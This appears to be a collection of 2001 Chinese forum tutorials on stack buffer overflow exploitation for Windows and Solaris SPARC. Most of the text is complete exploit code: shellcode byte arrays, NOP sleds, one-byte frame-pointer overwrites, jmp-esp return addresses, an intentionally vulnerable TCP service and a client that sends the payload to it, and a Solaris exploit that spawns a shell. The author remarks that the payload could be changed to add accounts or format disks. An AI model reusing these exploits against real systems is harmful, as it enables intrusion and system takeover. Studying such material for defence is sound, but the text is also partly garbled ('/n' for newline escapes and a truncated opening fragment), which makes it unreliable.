0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,8
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
FILE * f = fopen("datafile2.dat","wb");
if(f == NULL)
{
MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
return -1;
}
addr = getesp();
addr = addr - 200;
cp = (unsigned char *) buff;
for(i=0;i<256 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
for(i=0;i< 40 ; i++,lp++)
{
* lp = addr;
}
cp = (char *)lp;
*cp = '/n';
*cp = '/0';
if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
fclose(f);
return 0;
}
-----------
【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击
cloud (cloud) 2001-6-27 12:17:25
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
如下test()函数有问题,但我们不能覆盖ret 只能覆盖ebp低字节,我们又能作什么呢??
char buff[1024];
int i;
void test( )
{
char buffer[128];
/* . . . . . . . . . . . . . . . */
for(i=0; i<129 ; buffer[i]= buff[i++]);
/* . . . . . . . . .. . . . . . . */
}
void main()
{
/* . . .. . . ....*/
test();
/* . . . . . . .. . */
}
我们看看main 和 test调用时作了什么:
;test
;{
push ebp
mov ebp,esp
sub esp,128 ;为buffer预留空间
. . . ..
mov esp,ebp
pop ebp
ret
;}
在main中也如上:
看看 我们改写了ebp的低位后ebp将在main返回前传给esp
如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回
在main返回前
esp = ebp
pop 地址
返回pop出的 地址
|shellcode的地址| ---->|
ebp ---->| ?? | |
| | |
| shellcode | <------
那么在main函数返回时我们的shellcode将被执行.
现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer
比如buffer地址为 0x00463000
那么覆盖后如下
----------------------------------------------------------->
ebp
|ret | 0x00463000 +128 - 8 | 0x00463000| ?? | shellcode |
len: 4 4 4 4 120
main 返回时
mov esp,ebp ; ^
|
esp
pop ebp; ^
|
esp
ret 0; ok 我们的机器码被执行了!!!!
演示程序:
/*
Name : Ex_byte.c
Tested: windows95
by cloud 2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,20
}
void test()
{
char buffer[256];
addr = getesp();
addr += 100;
cp = (char *)buffer;
for(i=0;i<252 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
* lp = addr;
lp ++;
cp = (char *)lp;
*cp -=20;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
test();
}
-----------
【Visual C++】:另一种溢出方式 JMP ESP另一种溢出方式 JMP ESP
cloud (cloud) 2001-6-27 11:50:20
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
以上的溢出都是靠猜测buffer地址范围来进行(当然也可以写程序不断猜测)
自己写的程序当然地址很容易确定,但若攻击别人的程序就不大方便了
往往要猜很多此,传统的程序猜测地址同buffer长度相关,同test()中的数据定义相关
,同调用test() 的函数相关 . . . . . 要猜测的范围就比较大!!!!! 一般不易猜中!
当然你用soft_ice跟踪到test( )记录栈情况也是可行.
我们可以用另一种只用猜测buffer长度即可的方法实现溢出后执行我们的机器码!
在操作系统核心如kernell32.dll 等系统调用中有jmpl esp指令 如在win95中0xc1049a17
地址处就有一条这样的指令!!! 打开soft_ice查找一下能查到很多!
那么如果知道buffer长度 buff_len 那么我们在 buff_len+8范围内放入 0xc1049a17
ret就被覆盖了然后在上部放入我们的binnar code,那么test( )返回时机器码将被执行
此时仅需知道buffer长度即可
栈覆盖前
---------------------->
|? ? ? ? ? | ret | ebp | buffer |
覆盖后
|binnar code| 0xc1049a17 | 0xc1049a1 | 0xc1049a1 . . .. . . . .. . |
|
|
-------------> jmp esp
^
|
esp
test( )
返回时返回到 0xc1049a1 处 执行了 jmpl esp 而此时esp指向我们的binnar code
如下程序是一个演示 编译参数 cl ex_jesp.c /link user32.lib
shellcode 部分机器码 为: 弹出一个消息窗显示 From Binnar Code. 后调用ExitProcess()
/*
Name: Ex_jesp.c
Tested: Windows95
by cloud 2001-6-5
*/
#include <windows.h>
#include <stdio.h>
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
void test()
{
char buffer[256];
for(i=0;buff[i]!='/n';buffer[i]=buff[i++]);
MessageBox(0,"Test Return ","Test",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
unsigned long addr = 0xc1049a17;
int addr_len = 264;
lp = (unsigned long *)buff;
for(i=0;i<addr_len/4; i++,lp++)
{
* lp = addr;
}
cp = (char *)lp;
for(i=0;i<sizeof(buff) - sizeof(shellcode) - addr_len/4 -1 ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
*cp = '/n';
test();
MessageBox(0,"WinMain Return.","WinMain",0);
return 0;
}
---------------
【Visual C++】:若将Bug.c中memcpy改为strcpy后的攻击方法若将Bug.c中memcpy改为strcpy后的攻击方法
cloud (cloud) 2001-6-28 18:51:30
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
简单看起来
memcpy(line_buffer,file_buffer,sizeof(file_buffer))
改为
strcpy(line_buffer,file_buffer)
后攻击程序一样!
但是我们的file_buffer中为: [ addr][shell code][NOP]
其中shellcode ,NOP 部分都不含/0
但是看看addr,由于栈地址都以00开始,就是说
addr四个字节的高位一定为0
就使得strcpy拷贝到第一个地址的低3位后就不在拷贝,使得我们无法覆盖test()
的返回地址,此时的解决方法就是用前面讲到的jmp esp 法
具体操作就不多罗嗦了!
※编辑: cloud 于 2001-6-28 20:12:49 在 [202.117.82.4] 编辑本文
-----------
【Visual C++】:改为strcpy后对bug.c的攻击程序改为strcpy后对bug.c的攻击程序
cloud (cloud) 2001-6-28 20:15:16
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
以下为使用jmp esp 方法的攻击程序
编译方法: cl /ex2.c /link user32.lib
/*
Name : Ex2.c
Tested:Win2k pro sp1
by cloud 2001-6-28
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
#define BUFFER_LEN 256
//unsigned long * p;
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
FILE * f = fopen("datafile2.dat","wb");
if(f == NULL)
{
MessageBox(0,"打开文件失败!","WinMain Ex",MB_OK);
return -1;
}
addr = 0x77E6898B; // addr of jmp esp
lp = (unsigned long *) buff;
for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
*lp = addr;
cp = (unsigned char *) lp;
for(i=0;i< 32 ;i++,cp ++ )
*cp = 0x90;
for(i=0;i< sizeof(shellcode);i++,cp++)
*cp = shellcode[i];
*cp = '/n';
*cp = '/0';
if(fwrite(buff,1,sizeof(buff),f) != sizeof(buff))
MessageBox(0,"写文件失败!","WinMain Ex",MB_OK);
fclose(f);
return 0;
}
-----------
【Visual C++】:如果一个网络服务器程序没有检查边界的话 . . .如果一个网络服务器程序没有检查边界的话 . . .
cloud (cloud) 2001-6-28 21:56:03
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
例如如下程序
编译参数: cl bug_service.c /link user32.lib kernel32.lib ws2_32.lib
运行后没有界面在后台运行,可以用任务管理器看到
在didread()
中明显的strcpy()
我们可以通过同样的方法时其运行我们的一段机器码!!!
当然这段机器码干什么就由你定了: 格式化C盘 ? 添加账号? . . . . .
/*
Named : bug_service.c
Tested : Win2k pro sp1
by cloud 2001-6-28
*/
#include<winsock2.h>
//#include<stdio.h>
void err_dump(char *p)
{
printf("%s/n",p);
exit(-1);
}
void didread( char * buff)
{
char self_buffer[256];
strcpy(self_buffer,buff);
MessageBoxA(0,self_buffer,"",0);
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char buffer[512];
WORD wVersionRequested;
WSADATA wsaData;
struct sockaddr_in cli_addr,serv_addr;
int sockfd,newsockfd,clilen,childpid;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
err_dump("ws2_32.dll not find!/n");
return -1;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
{
WSACleanup( );
err_dump("little than 2.2 !/n");
return -2;
}
if( (sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
err_dump("serber:can't open stream socket/n");
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
serv_addr.sin_port=htons(5000);
if(bind(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0)
err_dump("server: can't bind local address/n");
listen(sockfd,5);
for(;;)
{
clilen=sizeof(cli_addr);
newsockfd=accept(sockfd,(struct sockaddr *)&cli_addr,&clilen);
if(newsockfd == INVALID_SOCKET )
err_dump("server:accept error/n");
MessageBoxA(0,"accepted!","",0);
//write(newsockfd,"hello!/n",7);
buffer[0]='4';
if( recv(newsockfd,buffer,512,0) ==SOCKET_ERROR )
{
err = WSAGetLastError();
sprintf(buffer, "Recv Err : %i",err);
MessageBoxA(0,buffer,"",0);
}
if(buffer[0] == 'x')
break;
didread(buffer);
close(newsockfd);
}
MessageBoxA(0,"Main Return!","",0);
WSACleanup();
return 0;
}
-----------
【Visual C++】:攻击上一个bug_service.c的攻击程序攻击上一个bug_service.c的攻击程序
cloud (cloud) 2001-6-28 22:05:30
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
以下为攻击上一个程序的演示程序
攻击成功时我们发送到服务器上的shellcode段机器码将被执行
执行结果是弹出一个消息筐 From Binnar Code.
当然你也可以改为添加账号, 格式化硬盘等等,(不过我不建议大家干坏事!)
由此可见编程时的一个不细心将代来多大的危害.
别以为黑客进入你的主机不可能,或是在那儿猜口令作无用功
其实系统很多网络相关的软件都有边界未检查的编程漏洞,
只要抓住此漏洞很容易就进入你的系统!!
比如前些时候的IIS5 在Win2000上的处理.pri.. 时就有这样的问题!!
/*
Name: ex_serv.c
Tested: Win2k pro sp1
by cloud 2001-6-28
*/
#include<windows.h>
//#include<winsock2.h>
#include"client.h"
#define BUFFER_LEN 256
char buffer[512];
void makebuff()
{
unsigned char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xB8 ,0xE8 ,0x03 ,0x2B ,0xE0 ,0x33 ,0xDB ,0xB3 ,0x0C,
0x4b ,0x4b ,0x33 ,0xC0 ,0x88 ,0x04 ,0x2B ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68 ,0x73,
0x72 ,0xE6 ,0x77 ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53 ,0x8B ,0xC5 ,0x83 ,0xC0,
0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68 ,0x2D ,0xF3 ,0xE6 ,0x77 ,0x68 ,0x7E ,0x73,
0xE0 ,0x77 ,0xC3 ,0xE8 ,0xbe ,0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
addr = 0x77E6898B; // addr of jmp esp
lp = (unsigned long *) buffer;
for(i=0; i< (BUFFER_LEN + 8) / 4;i++,lp ++)
*lp = addr;
cp = (unsigned char *) lp;
for(i=0;i< 32 ;i++,cp ++ )
*cp = 0x90;
for(i=0;i< sizeof(shellcode);i++,cp++)
*cp = shellcode[i];
*cp = '/n';
*cp = '/0';
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
WORD wVersionRequested;
WSADATA wsaData;
int s,err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
printf("ws2_32.dll not find!/n");
return -1;
}
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
{
WSACleanup( );
printf("little than 2.2 !/n");
return -2;
}
s = connectTCP("localhost","5000");
if(s == 0)
{
MessageBoxA(0,"connect failt","",0);
return -1;
}
makebuff();
if( send(s,buffer,sizeof(buffer),0) == SOCKET_ERROR )
MessageBoxA(0,"send Err!","",0);
Sleep(3000);
MessageBoxA(0,"send ok!","",0);
WSACleanup();
return 0;
}
//End ex_serv.c
------------------------------------------------------------ client.h ----------------------------------------------
//begin client.h
#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
extern int errno;
int errexit(const char *format,...)
{
va_list args;
va_start(args,format);
vfprintf(3,format,args);
va_end(args);
exit(1);
}
int connectsock(const char *host,const char *service,const char *transport)
{
struct hostent *phe;
struct servent *pse;
struct protoent *ppe;
struct sockaddr_in sin;
int s,type;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
if(pse=getservbyname(service,transport))
sin.sin_port=pse->s_port;
else if( (sin.sin_port=htons((u_short)atoi(service))) == 0)
errexit("can't get /"%s/" service entry /n",service);
if(phe = gethostbyname (host))
memcpy(&sin.sin_addr,phe->h_addr,phe->h_length);
else if( (sin.sin_addr.s_addr = inet_addr(host) )==INADDR_NONE)
errexit("can't get /"%s/" host entry/n",host);
if( (ppe=getprotobyname(transport))==0)
errexit("can't get /"%s/" protoco entry /n",transport);
if(strcmp(transport,"udp")==0)
type = SOCK_DGRAM;
else
type = SOCK_STREAM;
s=socket(PF_INET,type,ppe->p_proto);
if(s<0)
errexit("can't create socket :%s/n",strerror(errno) );
if(connect(s,(struct sockaddr *)&sin,sizeof(sin))<0)
errexit("can't connect to %s.%s:%s/n",host,service,strerror(errno));
return s;
}
int connectTCP(const char *host,const char *service)
{
return connectsock(host,service,"tcp");
}
int connectUDP(const char *host,const char *service)
{
return connectsock(host,service,"udp");
}
//End client.h
-----------
【Visual C++】:在Solaris For Spac芯片上的溢出在Solaris For Spac芯片上的溢出
cloud (cloud) 2001-6-27 12:29:11
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
在Unix平台溢出问题也是差不多,以前我写过一个Solaris下的攻击程序
如下: 可以参见我的个人站点 iceinsun.yeah.net
有bug的程序:
/*
sr.c for sparc solaris
tested on solaris2.6 by cloud 1999-5-16
*/
#include<string.h>
#include<stdio.h>
#include<unistd.h>
void ill(char *);
void ill_jump(char *);
int i;
u_long get_sp()
{
__asm__("mov %sp,%i0 /n");
}
main(int argc ,char * argv[])
{
printf("static main -->%p/n",get_sp());
if(argc>1)
{
ill_jump(argv[1]);
}
printf("Over !/n");
}
void ill_jump(char *str)
{
printf("static sub 1 -->%p/n",get_sp());
printf("strlen=%d /n",strlen(str));
printf("/n");
ill(str);
}
void ill(char *str)
{
u_char buff[8];
printf("static sub 2 -->%p buff addr %p/n",get_sp(),buff);
strcpy(buff,str);
}
溢出攻击程序如下:
/*
ex.c exploit sr.c to get shell
tested on solaris 2.6 for sparc by cloud 1999-5-16
*/
#include<stdio.h>
#include<unistd.h>
u_char shell_code[]=
"/x82/x10/x20/x17/x91/xd0/x20/x08"
"/x82/x10/x20/xca/xa6/x1c/xc0/x13/x90/x0c/xc0/x13/x92/x0c/xc0/x13"
"/xa6/x04/xe0/x01/x91/xd4/xff/xff/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e"
"/x2f/x0b/xdc/xda/x90/x0b/x80/x0e/x92/x03/xa0/x08/x94/x1a/x80/x0a"
"/x9c/x03/xa0/x10/xec/x3b/xbf/xf0/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc"
"/x82/x10/x20/x3b/x91/xd4/xff/xff";
#define ADDR_LEN 88
#define NOP_LEN 100
#define CODE_LEN 100
#define SPARC_NOP 0xa61cc013
u_long *return_addr,tmp_nop;
u_char *real_code,*nop_code;
int i,ALL_LEN=ADDR_LEN+NOP_LEN+CODE_LEN;
char buff[ADDR_LEN+NOP_LEN+CODE_LEN+1];
u_long get_sp()
{
__asm__("mov %sp,%i0/n");
}
main()
{
printf("Me stack -->0x%p expect stack-->0x%p/n",get_sp(),get_sp()-ALL_LEN);
buff[ADDR_LEN+NOP_LEN+CODE_LEN]='/0';
memset(buff,'A',ALL_LEN);
return_addr=(u_long *)buff;
for(i=0;i<ADDR_LEN/4;i++)
*return_addr++=get_sp()-ALL_LEN +216;
return_addr++;
return_addr++;
nop_code=(u_char *)return_addr;
for(i=0;i<NOP_LEN;i+=4)
{
tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 24) & 0xff;
tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 16) & 0xff;
tmp_nop=SPARC_NOP; *nop_code++=(tmp_nop >> 8 ) & 0xff;
tmp_nop=SPARC_NOP; *nop_code++= tmp_nop & 0xff;
}
real_code=nop_code;
/* for(i=0;i<NOP_LEN+CODE_LEN;i+=4)
*return_addr++=SPARC_NOP;
real_code=(u_char *)return_addr;
*/
for(i=0;i<strlen(shell_code);i++)
*real_code++=shell_code[i];
execl("./sr","sr",buff,0);
}
-----------------
【Visual C++】:Solaris For Spac上的栈情况Solaris For Spac上的栈情况
cloud (cloud) 2001-6-27 19:28:40
开放实验室 (openlab.nwpu.edu.cn) 【Visual C++】专栏
看看此程序运行中的堆栈情况如后面所示
从中可以看到给func分配buff是在压入func返回地址之前
所以我们不能覆盖func的返回地址,但我们可以覆盖main的返回地址
所以覆盖后当main返回时才转到我们的二进制代码中来,这点同windows下
的溢出有很大区别
#include<stdio.h>
func ( char * str )
{
char buff[8];
strcpy(buff, . . .);
}
void main ( )
{
func( argv[1] );
}
堆栈低址
___________ ___________
%sp | %l0-%l7 | 8*4 保存func()的%l0-%l7寄存器
|__________|
%sp+32 | %i0-%i7 | 8*4 保存func()的%i0-%i7寄存器 (%i7包含func()的返回地址)
|__________|
%sp+64 |返回值地址| 1*4 为下一个被调函数保留的返回值地址空间
|__________|
%sp+68 | 参数地址 | 6*4 为下一个被调函数保留(前6个)参数的空间
|__________|
%sp+92 | 参数地址 | n*4 n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
|__________|
|局部变量 | n*8 为func()的局部变量分配空间,每8个字节为一个分配单元
|__________|
| 临时区域 | 4*4 C编译器用来计算表达式时储存一些临时变量的区域
|__________|___________ %fp ( main() )
%fp | %l0-%l7 | 8*4 保存main()的%l0-%l7寄存器
|__________|
%fp+32 | %i0-%i7 | 8*4 保存main()的%i0-%i7寄存器(%i7包含main()的返回地址)
|__________|
%fp+64 |返回值地址 | 1*4 为下一个被调函数(这里是func())保留的返回值地址空间
|__________|
%fp+68 | 参数地址 | 6*4 为下一个被调函数(这里是func())保留前6个参数的地址空间
|__________|
%fp+92 | 参数地址 | n*4 n>=1 如果下一个被调函数的参数>6,多出的参数在这里分配
|__________|
|局部变量 |
| .... | n*8 为main()的局部变量分配空间,每8个字节为一个单元
|__________|
| 保留区域 | 4*4 4个字的保留区域
|__________|
| %l0-%l7 |
|__________|
堆栈高址
-----------